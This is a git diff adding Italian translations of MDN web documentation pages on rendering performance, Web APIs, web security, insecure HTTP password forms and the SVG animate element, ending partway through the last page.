+</ul>
+
+<p>JavaScript</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a></li>
+ <li><a href="/en-US/docs/Glossary/Garbage_collection">Garbage collection</a></li>
+ <li><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a></li>
+</ul>
+
+<p>APIs</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Performance_API">Performance API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigation_timing_API">Navigation Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Capabilities_API/Using_the_Media_Capabilities_API">Media Capabilities API</a></li>
+ <li><a href="/en-US/docs/Web/API/Network_Information_API">Network Information API</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceNavigationTiming">PerformanceNavigationTiming</a></li>
+ <li><a href="/en-US/docs/Web/API/Battery_Status_API">Battery Status API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigator/deviceMemory">Navigator.deviceMemory</a></li>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer</a></li>
+ <li><a href="/en-US/docs/Web/API/User_Timing_API/Using_the_User_Timing_API">Using the User Timing AP</a>I</li>
+ <li><a href="/en-US/docs/Web/API/Long_Tasks_API">Long Tasks API</a></li>
+ <li><a href="/en-US/docs/Web/API/DOMHighResTimeStamp">High Resolution Timing API</a> (<a href="https://w3c.github.io/hr-time/">https://w3c.github.io/hr-time/)</a></li>
+ <li><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Resource Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility</a></li>
+ <li><a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>
+  <ul>
+   <li style="margin-top: 0.25em;"><a href="/en-US/docs/Web/API/Window/requestIdleCallback">requestIdleCallback() </a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/API/Beacon_API/Using_the_Beacon_API">Beacon API</a></li>
+ <li>Resource Hints - <a href="/en-US/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control">dns-prefetch</a>, preconnect, <a href="/en-US/docs/Web/HTTP/Link_prefetching_FAQ">prefetch</a>, and prerender</li>
+ <li><a href="/en-US/docs/Web/API/FetchEvent/navigationPreload">Fetchevent.navigationPreload</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceServerTiming">Performance Server Timing API</a></li>
+</ul>
+
+<p>Headers</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">Content-encoding</a></li>
+ <li>HTTP/2</li>
+ <li><a href="/en-US/docs/Glossary/GZip_compression">gZip</a></li>
+ <li>Client Hints</li>
+</ul>
+
+<p>Tools</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Performance">Performance in Firefox Developer Tools</a></li>
+ <li>Flame charts</li>
+ <li>the Network panel</li>
+ <li>waterfall charts</li>
+</ul>
+
+<p>Additional Metrics</p>
+
+<ul>
+ <li>Speed Index and Perceptual Speed Index</li>
+</ul>
+
+<p>Best Practices</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using Web Workers</a>
+  <ul>
+   <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/Apps/Progressive/Offline_Service_workers">PWA</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Caching">Caching</a></li>
+ <li>Content Delivery Networks (CDN)</li>
+</ul>
diff --git a/files/it/web/performance/percorso_critico_di_rendering/index.html b/files/it/web/performance/percorso_critico_di_rendering/index.html
new file mode 100644
index 0000000000..31c0b82ac8
--- /dev/null
+++ b/files/it/web/performance/percorso_critico_di_rendering/index.html
@@ -0,0 +1,62 @@
+---
+title: Percorso critico di rendering
+slug: Web/Performance/Percorso_critico_di_rendering
+translation_of: Web/Performance/Critical_rendering_path
+---
+<p>{{draft}}</p>
+
+<p><span class="seoSummary">Il <strong>Percorso Critico di Rendering </strong>(in inglese: Critical Rendering Path, <strong>CRP</strong>) è la sequenza di passi che il browser compie per convertire HTML, CSS e Javascript in pixel sullo schermo. Ottimizzare il CRP migliora la performance. Il percorso include il</span><span class="seoSummary"><a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model </a>(DOM), il <a href="/en-US/docs/Web/API/CSS_Object_Model">CSS Object Model </a>(CSSOM), l'albero di rendering e il layout.</span></p>
+
+<p>Il DOM è creato man mano che l'HTML viene parsificato. L'HTML può richiedere Javascript, il quale potrebbe a sua volte alterare il <strong>DOM</strong>. L'HTML include o richiede fogli di stile, la cui parsificazione costruisce il <strong>CSSOM</strong>. Il motore del browser combina il DOM e il CSSOM per costruire l'albero di rendering. La fase di layout determina le dimensioni e posizione di ogni elemento della pagine. Infine, i pixel sono dipinti sullo schermo.</p>
+
+<p>Ottimizzare il CRP migliora il tempo che il browser impiega ad effettuare il primo render. Capire e ottimizzare il percorso critico di rendering è importante per assicurarsi che i reflow e repaint vengano effettuato a 60 frame al secondo, risultando in una migliore esperienza per l'utente.</p>
+
+<h2 id="Capire_il_CRP">Capire il CRP</h2>
+
+<p>La performance di un sito web dipende dal tempo impiegato per effettuare richieste al server, risposte, caricare risorse, eseguire script, rendering, layout, e dipingere i pixel sullo schermo.</p>
+
+<p>Una richiesta per una pagina web o una web app inizia con una richiesta HTML. Il server risponde alla richiesta con il codice sorgente in linguaggio HTML. A questo punto, il browser inizia a parsificare l'HTML, costrudendo l'albero DOM.</p>
+
+<p>Il browser manda ulteriori richieste ogni volta che trova link a risorse esterne, che siano fogli di stile, script, o referenze a immagini. Alcune richieste sono <strong>bloccanti</strong>, il che significa che la parsificazione del resto dell'HTML viene interrotta fino a quando la risorsa importata non viene scaricata e manipolata. In seguito, il browser continua a parsificare l'HTML fino ad arrivare alla fine del file. A questo punto, il browser comincia a costruire il CSSOM. Quando il DOM e il CSSOM sono completi, il browser costruisce l'albero di rendering, calcolando gli stili per tutto il contenuto visibile. Quando l'albero è completo, viene calcolato il layout, che definisce le dimensioni e posizione di tutti gli elementi dell'albero di rendering. Una volta completato, la pagina viene "dipinta" sullo schermo.</p>
+
+<h3 id="Document_Object_Model">Document Object Model</h3>
+
+<p>La costruzione del DOM è incrementale. La risposta HTML si transforma in token, la quale si trasforma in nodi che costituiscono l'albero DOM. Un singolo nodo DOM comincia con un token startTag e finisce con un token endTag. I nodi contengono tutte le informazioni rilevanti sull'elemento HTML, descritta attraversi i token. I nodi sono connessi in un albero DOM in base alla gerarchia dei token. Per esempio, se un paio di token startTag ed endTag appaiono nel mezzo di un altro paio, questo genera un nodo padre ed un nodo figlio.</p>
+
+<p>Un grande numero di nodi può dunque impattare la performance, complicando il critical rendering path.</p>
+
+<h3 id="CSS_Object_Model">CSS Object Model</h3>
+
+<p>Il DOM contiene l'intero contenuto della pagina. il CSSOM contiene tutti gli stili. La costruzione del DOM è incrementale, ma quella del CSSOM non lo è. Il CSS è render-blocking: il browser blocca il rendering di una pagina finché non riceve e processa tutto il CSS. Questo perché le regole possono essere sovrascritte, quindi il contenuto non può essere mostrato fino a quando il CSS non è completo. </p>
+
+<p>Il CSS ha le proprie regole per identificare token validi. Quando il parser converte i token in nodi, i nodi discendenti ereditano regole dai genitori. Il CSSOM viene costruito mentre il CSS viene parsificato, ma non può essere usato per costruire il render tree fino a quando la parsificazione viene completata perché stili che vengono sovrascritti in seguito non devono essere visualizzati.</p>
+
+<p>Selettori meno specifici sono più performanti. Per esempio, <code>.foo {}</code> è più veloce di <code>.bar .foo {}</code> perché quando il browser trova <code>.foo</code>, nel secondo scenario, deve salire nel DOM per controllare se <code>.foo</code> ha un genitore <code>.bar</code>.</p>
+
+<p>I browser processano il CSS molto rapidamente. La regola specifica è più lenta perché deve attraversare più nodi nell'albero DOM, ma questo costo aggiuntivo è solitamente minimo. L'ottimizzazione dei selettori CSS solitamente porta a velocizzazioni nell'ordine dei microsecondi. Ci sono altri modi più efficaci per ottimizzare il CSS, come la mininizzazione, e separare il CSS in richieste non-blocking usando media queries.</p>
+
+<h3 id="Lalbero_di_rendering">L'albero di rendering</h3>
+
+<p>L'albero di rendering cattura sia il contenuto che gli stili combinando il DOM ed il CSSOM. Per costruirlo, il browser controlla ogni nodo, a partire dalla radice dell'albero DOM, e determina quali regole CSS sono applicate al nodo.</p>
+
+<p>L'albero di rendering mantiene informazioni solo su elementi visibili. La sezione head solitamente non contiene informazioni visibili, e quindi non è inclusa. Se display: none; è settato su un elemento, né questo elemento né i suoi discendenti sono inclusi.</p>
+
+<h3 id="Layout">Layout</h3>
+
+<p>Quando l'albero di rendering è completamente costruito, il layout diventa possibile. Il layout dipende dalle dimensioni dello schermo e determina dove e come gli elementi sono posizionati nella pagina, inclusi largezza ed altezza di ogni elemento, e dove sono posizionati rispetto ad altri elementi.</p>
+
+<p>Elementi block-level hanno una largezza in default di 100% del genitore. L'elemento body ha una larghezza dal 100% del viewport.</p>
+
+<p>Il meta tag "viewport" definisce la larghezza del viewport. In assenza di questo tag, il browser usa la larghezza viewport di default, che su browser a tutto schermo è solitamente 960px. Su browser a tutto schermo, come il browser degli smartphone, il settaggio <code>&lt;meta name="viewport" content="width=device-width"&gt;</code> fa in modo che la larghezza sarà quella del dispositivo invece di quella di default. La device-width cambia quando l'utente ruota il telefono tra modalità landscape e ritratto. Il layout viene calcolato ogni volta che un dispositivo viene ruotato o il browser viene in qualche modo ridimensionato.</p>
+
+<p>La performance della fase di layout è impattato dal numero di nodi nel DOM. La fase di layout può diventare un collo di bottiglia se richiesto durante lo scorrimento del mouse o altre animazioni. Un ritardo di 20ms al caricamento della pagina o al cambiamento di orientamento è accettabile, ma potrebbe portare a problemi se avviene durante lo scorrimento del mouse o durante animazioni. Ogni volta che l'albero di rendering è modificato, il passo di layout viene eseguito.</p>
+
+<p>Per ridurre la frequenza e durate degli eventi di layout, è consigliabile effettuare un batch degli aggiornamenti ed evitare di animare proprietà del box model.</p>
+
+<h3 id="Paint">Paint</h3>
+
+<p>L'ultimo passo è mostrare i pixel sullo schermo. Questo può avvenire quando l'albero di rendering è creato e il layout calcolato. L'intero schermo è dipinto quando la pagina viene caricata. Successivamente, solo le parti dello schermo interessate verranno ridipinte grazie alle ottimizzazioni dei browser moderni. Il tempo necessario a un repaint è solitamente molto veloce, ma è importante ricordarsi di conteggiare il tempo di layout e ripittura quando si misura il tempo richiesto da un animation frame.</p>
+
+<h2 id="Optimizing_for_CRP">Optimizing for CRP</h2>
+
+<p>Improve page load speed by prioritizing which resources get loaded, controlling the order in which they area loaded, and reducing the file sizes of those resources. Performance tips include 1) minimizing the number of critical resources by deferring their download, marking them as async, or eliminating them altogether, 2) optimizing the number of requests required along with the file size of each request, and 3) optimizing the order in which critical resources are loaded by prioritizing the downloading critical assets, shorten the critical path length.</p>
diff --git a/files/it/web/reference/api/index.html b/files/it/web/reference/api/index.html
new file mode 100644
index 0000000000..77f4c87ea8
--- /dev/null
+++ b/files/it/web/reference/api/index.html
@@ -0,0 +1,58 @@
+---
+title: Riferimento delle Web API
+slug: Web/Reference/API
+translation_of: Web/Reference/API
+---
+<p><span class="seoSummary">Il Web offre una varietà di API per portare a termine varie attività. Sono accessibili usando codice JavaScript e permettono di fare qualsiasi cosa, da piccoli aggiustamenti a qualunque {{domxref("window")}} o {{domxref("element")}}, alla generazione di effetti grafici e audio complessi utilizzando API come ad esempio <a href="/docs/Web/WebGL">WebGL</a> e <a href="/docs/Web_Audio_API">Web Audio</a>.</span></p>
+<p>Ogni singola interfaccia per le API è elencata nell'<a href="/docs/Web/API">indice.</a></p>
+<p>Esiste anche un <a href="/docs/Web/Reference/Events">elenco di tutti gli eventi disponibili</a> nel riferimento degli eventi.</p>
+<div class="cleared topicpage-table">
+ <div class="section">
+  <dl>
+   <dt>
+    <a href="/docs/DOM">Document Object Model</a></dt>
+   <dd>
+    Il DOM è un API che permette l'accesso e la modifica del documento corrente. Permette la manipolazione del {{domxref("Node")}} ed {{domxref("Element")}} del documento. Sia HTML che SVG lo estendono per manipolare i loro specifici elementi.</dd>
+   <dt>
+    API dei dispositivi</dt>
+   <dd>
+    Questo insieme di API permette l'accesso a varie funzionalità dell'hardware disponibili per le pagine web e le applicazioni. Per esempio <a href="/docs/WebAPI/Using_Light_Events">API del sensore di luce ambientale</a>, <a href="/docs/WebAPI/Battery_Status" title="WebAPI/Battery_Status">API dello stato della batteria</a>, <a href="/docs/Using_geolocation" title="Using_geolocation">API per la geolocalizzazione</a>, <a href="/docs/WebAPI/Pointer_Lock" title="API/Pointer_Lock_API">API per il blocco del puntatore</a>, <a href="/docs/WebAPI/Proximity" title="WebAPI/Proximity">API del sensore di prossimità</a>, <a href="/docs/WebAPI/Detecting_device_orientation" title="WebAPI/Detecting_device_orientation">API per l'orientamento del dispositivo</a>, <a href="/docs/WebAPI/Managing_screen_orientation" title="WebAPI/Detecting_device_orientation">API per l'orientamento dello schermo</a>, <a href="/docs/WebAPI/Vibration" title="WebAPI/WebBluetooth">API per la vibrazione</a>.</dd>
+   <dt>
+    API di comunicazione</dt>
+   <dd>
+    Queste API permettono alle pagine e alle applicazioni di comunicare con altre pagine o con altri dispositivi. Ad esempio <a href="/docs/WebAPI/Network_Information" title="WebAPI/Network_Information">API di informazioni di rete</a>, <a href="/docs/WebAPI/Using_Web_Notifications" title="/en-US/docs/WebAPI/Using_Web_Notifications">Notifiche Web</a>, <a href="/docs/WebAPI/Simple_Push" title="WebAPI/Push_Notifications">Simple Push API</a>.</dd>
+   <dt id="Data_management_APIs">
+    API di gestione dei dati</dt>
+   <dd>
+    I dati degli utenti possono essere salvati e gestiti usando questo insieme di API. Ad esempio <a href="/docs/WebAPI/FileHandle_API" title="WebAPI/FileHandle_API">API FileHandle</a>, <a href="/docs/IndexedDB" title="IndexedDB">IndexedDB</a>.</dd>
+  </dl>
+  <p>In aggiunta a queste API, che sono disponibili per qualsiasi sito web o app, esiste un set di API Mozilla più potenti disponibili per le app privilegiate e le app certificate.</p>
+  <dl>
+   <dt>
+    API privilegiate</dt>
+   <dd>
+    Un'applicazione privilegiata è una app installata a cui l'utente ha dato permessi specifici. Le API privilegiate includono: <a href="/docs/WebAPI/TCP_Socket" title="WebAPI/TCP_Socket">API dei socket TCP</a>, <a href="/docs/WebAPI/Contacts" title="WebAPI/Contacts">API dei contatti</a>, <a href="/docs/WebAPI/Device_Storage_API" title="WebAPI/Device_Storage_API">API del Device Storage</a>, <a href="/docs/DOM/Using_the_Browser_API" title="DOM/Using_the_Browser_API">API del Browser</a>.</dd>
+   <dt>
+    API certificate</dt>
+   <dd>
+    Un'applicazione certificata è un'app di basso livello che esegue operazioni critiche su un sistema operativo come Firefox OS. Le applicazioni meno privilegiate interagiscono con queste app attraverso le <a href="/docs/WebAPI/Web_Activities" title="WebAPI/Web_Activities">Web Activities</a>.  Le API certificate includono:<a href="/docs/WebAPI/WebBluetooth" title="WebAPI/WebBluetooth"> API bluetooth</a>, <a href="/docs/WebAPI/Mobile_Connection" title="WebAPI/Mobile_Connection">API per le connessioni mobile</a>, <a href="/docs/WebAPI/Network_Stats" title="WebAPI/Network_Stats">API di statistiche della rete</a>, <a href="/docs/WebAPI/WebTelephony" title="WebAPI/WebTelephony">Telefonia</a>, <a href="/docs/WebAPI/WebSMS" title="WebAPI/WebSMS">WebSMS</a>, <a href="/docs/WebAPI/WiFi_Information" title="WebAPI/WiFi_Information">API di informazioni WiFi</a>, <a href="/docs/WebAPI/Camera" title="WebAPI/Camera">API della fotocamera</a>, <a href="/docs/WebAPI/Power_Management" title="WebAPI/Power_Management">API di gestione energetica</a>, <a href="/docs/WebAPI/Settings" title="WebAPI/Settings">API dei settaggi</a>, <a href="/docs/WebAPI/Idle" title="WebAPI/Device_Storage_API">Idle API</a>, <a href="/docs/WebAPI/Permissions" title="WebAPI/Permissions">API dei permessi</a>, <a href="/docs/WebAPI/Time_and_Clock" title="WebAPI/Time_and_Clock">API dell'orologio</a>.</dd>
+  </dl>
+ </div>
+ <div class="section">
+  <h2 class="Community" id="Comunità">Comunità</h2>
+  <p>Unisciti alla comunità Web API sulla nostra mailing list o sul nostro newsgroup:</p>
+  <ul>
+   <li><a class="external" href="https://lists.mozilla.org/listinfo/dev-webapi">come mailing list</a></li>
+   <li><a href="news://news.mozilla.org/mozilla.dev.webapi">come newsgroup</a></li>
+   <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi">come Google Group</a></li>
+   <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi/feeds">come feed Web</a></li>
+  </ul>
+  <p>Inoltre, assicurati di partecipare alla discussione dal vivo nel canale <a href="irc://irc.mozilla.org/webapi">#webapi</a> su <a class="external" href="https://wiki.mozilla.org/IRC">IRC</a>.</p>
+  <h2 class="Related_Topics" id="Argomenti_correlati">Argomenti correlati</h2>
+  <p><strong>Potrebbero inoltre interessarti questi argomenti</strong>:</p>
+  <ul>
+   <li><a href="/docs/Web/API">Indice delle interfacce delle Web API</a></li>
+  </ul>
+ </div>
+</div>
+<p> </p>
diff --git a/files/it/web/reference/index.html b/files/it/web/reference/index.html
new file mode 100644
index 0000000000..41020bc20f
--- /dev/null
+++ b/files/it/web/reference/index.html
@@ -0,0 +1,23 @@
+---
+title: Web technology reference
+slug: Web/Reference
+tags:
+  - Landing
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web
+translation_of: Web/Reference
+---
+<p>The open Web is built using a number of technologies. Below you'll find links to our reference material for each of them.</p>
+<div class="row topicpage-table">
+ <div class="section">
+  <h2 class="Documentation" id="Core_Web_technologies">Core Web technologies</h2>
+  <p>{{ Page ("Web", "Web technologies") }}</p>
+ </div>
+ <div class="section">
+  <p>{{draft()}}</p>
+  <p>This page <a href="/en-US/docs/Project:MDN/Plans_and_status/Web_platform">is meant to be</a> the landing page for the "Web Platform Reference"; this would offer links to the landing pages for each of the APIs that comprise the Web platform (but would not itself have subpages).</p>
+ </div>
+</div>
+<p> </p>
diff --git a/files/it/web/security/index.html b/files/it/web/security/index.html
new file mode 100644
index 0000000000..74288398ad
--- /dev/null
+++ b/files/it/web/security/index.html
@@ -0,0 +1,18 @@
+---
+title: Web security
+slug: Web/Security
+tags:
+  - Landing
+  - NeedsTranslation
+  - Security
+  - TopicStub
+  - Web
+translation_of: Web/Security
+---
+<div class="summary">
+<p>Ensuring that your website or open web application is secure is critical. Even simple bugs in your code can result in private information being leaked, and bad people are out there trying to find ways to steal data. <span class="seoSummary">The web security oriented articles listed here provide information that may help you secure your site and its code from attacks and data theft.</span></p>
+</div>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<p>{{QuickLinksWithSubpages}}</p>
diff --git a/files/it/web/security/password_insicure/index.html b/files/it/web/security/password_insicure/index.html
new file mode 100644
index 0000000000..cfce604aab
--- /dev/null
+++ b/files/it/web/security/password_insicure/index.html
@@ -0,0 +1,67 @@
+---
+title: Password insicure
+slug: Web/Security/Password_insicure
+translation_of: Web/Security/Insecure_passwords
+---
+<p class="summary"><span id="result_box" lang="it"><span>I dialoghi di Login tramite HTTP sono particolarmente pericolosi a causa della vasta gamma di attacchi che possono essere utilizzati per estrarre la password di un utente.</span> <span>Gli intercettatori della rete potrebbero rubare la password di un utente utilizzando uno "sniffing" della rete o modificando la pagina in uso.</span> <span>Questo documento descrive in dettaglio i meccanismi di sicurezza che Firefox ha messo in atto per avvisare gli utenti e gli sviluppatori dei rischi circa le password insicure e il furto delle stesse.</span></span></p>
+
+<p>Il protocollo <a href="https://mdn.mozillademos.org/files/5951/insecure_page2_with_arrows_cropped.jpeg" title="https://en.wikipedia.org/wiki/HTTP_Secure">HTTPS</a> <span id="result_box" lang="it"><span>è progettato per proteggere i dati degli utenti da intercettazioni (riservatezza) e da modifiche (integrità) sulla rete.</span></span> <span id="result_box" lang="it"><span>I siti web che gestiscono i dati degli utenti devono utilizzare l'HTTPS per proteggere i loro utenti dagli aggressori.</span> <span>Se un sito Web utilizza HTTP anziché HTTPS, è banale rubare le informazioni dell'utente (come le credenziali di accesso).</span> <span>Questo è stato notoriamente dimostrato da</span></span> <a href="https://codebutler.github.io/firesheep/" title="http://codebutler.com/firesheep/">Firesheep</a>.</p>
+
+<p><span id="result_box" lang="it"><span>Per risolvere questo problema, installa e configura un certificato SSL / TLS sul proprio server.</span> <span>Ci sono vari fornitori che offrono certificati gratuiti e a pagamento.</span> <span>Se si utilizza una piattaforma cloud, potrebbero essere in uso propri metodi per abilitare l'HTTPS.</span></span></p>
+
+<h2 id="Indicatori_di_sicurezza_password_di_Firefox"><span class="short_text" id="result_box" lang="it"><span>Indicatori di sicurezza password di Firefox</span></span></h2>
+
+<p><span id="result_box" lang="it"><span>Per avvisarti della minaccia di cui sopra, Firefox implementa molti meccanismi di avviso:</span></span></p>
+
+<ol>
+ <li>
+  <p><span id="result_box" lang="it"><span>Firefox 51+ mostra un'icona a forma di lucchetto barrato in rosso nella barra degli indirizzi quando una pagina non ha una connessione sicura, come mostrato di seguito.</span></span></p>
+
+  <p style="text-align: center;"><img alt="Lock Icon" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2015-11-17-12-13-18-2faa61.png" style="height: 25px; width: 25px;"></p>
+ </li>
+ <li>
+  <p><span id="result_box" lang="it"><span>Firefox 52+ mostra un avviso chiaro nella barra degli URL e sotto un campo di richiesta password in qualsiasi dialogo non protetto:</span></span></p>
+
+  <p style="text-align: center;"><img alt="Warning" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2017-04-21-23-52-53-ba340d.png" style="height: 133px; width: 328px;"></p>
+ </li>
+ <li>
+  <p><span id="result_box" lang="it"><span>Firefox 52+ disabilita il riempimento automatico in dialoghi di accesso non sicuri.</span> <span>Gli utenti possono comunque eseguire manualmente il completamento automatico degli accessi salvati dal menu a discesa.</span></span></p>
+ </li>
+ <li>
+  <p><span id="result_box" lang="it"><span>Avvertenze sui dialoghi di accesso non sicuri sono disponibili anche nel pannello di sicurezza della console per sviluppatori in tutte le versioni di Firefox, come descritto nella prossima sezione.</span></span></p>
+ </li>
+</ol>
+
+<h2 id="Messaggi_della_console_Web"><span class="short_text" id="result_box" lang="it"><span>Messaggi della console Web</span></span></h2>
+
+<p><span id="result_box" lang="it"><span>Questa sezione descrive i messaggi di sicurezza visualizzati nella console di sviluppo di Firefox DevTools, in risposta a password non sicure.</span></span></p>
+
+<h3 id="Effettuando_un_login_in_ambiente_HTTP"><span class="short_text" id="result_box" lang="it"><span>Effettuando un login in ambiente HTTP</span></span></h3>
+
+<p><span id="result_box" lang="it"><span>Anche se il login richiesto è ad un URL HTTPS, il dialogo di login non è protetto; un utente malintenzionato può modificare la pagina in uso (ad esempio, gli autori di attacchi possono modificare la destinazione per inviare i dati sensibili a un server che essi controllano,</span> <span>oppure possono inserire uno script keylogging che cancella la password mentre viene digitata).</span> <span>La scheda di sicurezza della console Web avvisa gli sviluppatori e gli utenti del problema di sicurezza:</span></span></p>
+
+<p style="text-align: center;"><img alt="Insecure login form shown with the Web Console and contextual warning on the password field." src="https://mdn.mozillademos.org/files/14783/Insecure_Password_Console_Contextual_sm.png" style="height: 566px; width: 790px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="it"><span>Inoltre, non è sicuro incorporare una pagina di accesso HTTPS in un documento HTTP: un utente malintenzionato potrebbe modificare l'URL del frame in modo che punti a un sito dannoso</span></span>.</p>
+</div>
+
+<h3 id="Utilizzando_un_URL_HTTP_in_un_dialogo"><span class="short_text" id="result_box" lang="it"><span>Utilizzando un URL HTTP in un dialogo</span></span></h3>
+
+<p><span id="result_box" lang="it"><span>In questo caso, qualsiasi dato inserito dall'utente viene inviato attraverso la rete come testo normale.</span> <span>La password dell'utente è chiaramente visibile a chiunque faccia "sniffing" sulla rete dal momento in cui la password lascia il computer dell'utente al momento in cui raggiunge i server del sito web.</span></span></p>
+
+<p style="text-align: center;"><img alt="Insecure login form action shown with the Web Console and contextual warning on the password field." src="https://mdn.mozillademos.org/files/14785/Insecure_Action_Password_Console_Contextual_sm.png" style="height: 566px; width: 790px;"></p>
+
+<h2 id="Nota_sul_riutilizzo_delle_password"><span class="short_text" id="result_box" lang="it"><span>Nota sul riutilizzo delle password</span></span></h2>
+
+<p><span id="result_box" lang="it"><span>A volte i siti web richiedono nome utente e password, ma in realtà non memorizzano dati coì sensibili.</span> <span>Ad esempio, un sito di news può salvare quegli articoli che un utente potrebbe tornare a leggere, ma non salvare alcun altro dato riguardante l'utente.</span> <span>Gli sviluppatori Web del sito di news potrebbero perciò essere poco motivati a proteggere il proprio sito e le credenziali dell'utente.</span></span></p>
+
+<p><span id="result_box" lang="it"><span>Sfortunatamente</span></span>, <a href="https://www.lightbluetouchpaper.org/2011/02/09/measuring-password-re-use-empirically/">il riutilizzo di una password è un grande problem</a>. <span id="result_box" lang="it"> <span>Gli utenti utilizzano la stessa password su più siti (siti Web di news, social network, provider di posta elettronica, banche).</span> <span>Quindi, anche se l'accesso al nome utente e alla password di un sito non ti sembra un grosso rischio, è un grosso rischio per gli utenti che hanno utilizzato lo stesso nome utente e password per accedere ai loro conti bancari.</span> <span>Gli aggressori stanno diventando più intelligenti;</span> <span>rubano le coppie nome utente / password da un sito e poi tentano di riutilizzarle su siti più redditizi.</span></span></p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li class="entry-title"><a href="https://blog.mozilla.org/tanvi/2016/01/28/no-more-passwords-over-http-please/">No More Passwords over HTTP, Please!</a> — <span class="short_text" id="result_box" lang="it"><span>post sul blog dettagliato con ulteriori informazioni e FAQ</span></span>.</li>
+</ul>
+
+<p class="entry-title">{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/it/web/svg/element/animate/index.html b/files/it/web/svg/element/animate/index.html
new file mode 100644
index 0000000000..b5fa44b0cc
--- /dev/null
+++ b/files/it/web/svg/element/animate/index.html
@@ -0,0 +1,115 @@
+---
+title: <animate>
+slug: Web/SVG/Element/animate
+tags:
+  - Animazione SVG
+  - Elemento
+  - SVG
+translation_of: Web/SVG/Element/animate
+---
+<div>{{SVGRef}}</div>
+
+<div>L'elemento SVG  <code>animate</code> è usato per animare un attributo o una proprietà di un elemento nel tempo.</div>
+
+<div>Normalmente viene inserito dentro l'elemento o viene inserito un riferimento con l'attributo <code>href</code> dell'elemento bersaglio.</div>
+
+<h2 id="Uso">Uso</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributi">Attributi</h2>
+
+<h3 id="Attributi_globali">Attributi globali</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Conditional_processing_attributes">Attributi di elaborazione condizionale</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core_attributes">Attributi principali</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Animation_event_attributes">Attributi dell'evento dell'animazione</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#XLink_attributes">Attributi Xlink</a> »</li>
+ <li><a href="en-US/docs/Web/SVG/Attribute#AnimationAttributeTarget">Attributi bersaglio degli attributi di animazione</a>  »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Animation_timing_attributes">Attributi del tempo dell'animazione</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Animation_value_attributes">Attributi dei valori dell'animazione</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Animation_addition_attributes">Attributi aggiuntivi dell'animazione</a> »</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Attributi_specifici">Attributi specifici</h3>
+
+<ul>
+ <li>{{SVGAttr("attributeName")}}</li>
+ <li>{{SVGAttr("attributeType")}}</li>
+ <li>{{SVGAttr("from")}}</li>
+ <li>{{SVGAttr("to")}}</li>
+ <li>{{SVGAttr("dur")}}</li>
+ <li>{{SVGAttr("repeatCount")}}</li>
+</ul>
+
+<h2 id="Interfaccia_DOM">Interfaccia DOM</h2>
+
+<p>Questo elemento implementa l'interfaccia <code><a href="/en-US/docs/Web/DOM/SVGAnimateElement">SVGAnimateElement</a></code>.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html; highlight[6-7]">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120" viewBox="0 0 120 120" version="1.1"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect x="10" y="10" width="100" height="100"&gt;
+    &lt;animate attributeType="XML" attributeName="x" from="-100" to="120"
+        dur="10s" repeatCount="indefinite"/&gt;
+  &lt;/rect&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p>{{EmbedLiveSample("Example", 120, 120)}}</p>
+
+<h2 id="Problemi_di_accessibilità">Problemi di accessibilità</h2>
+
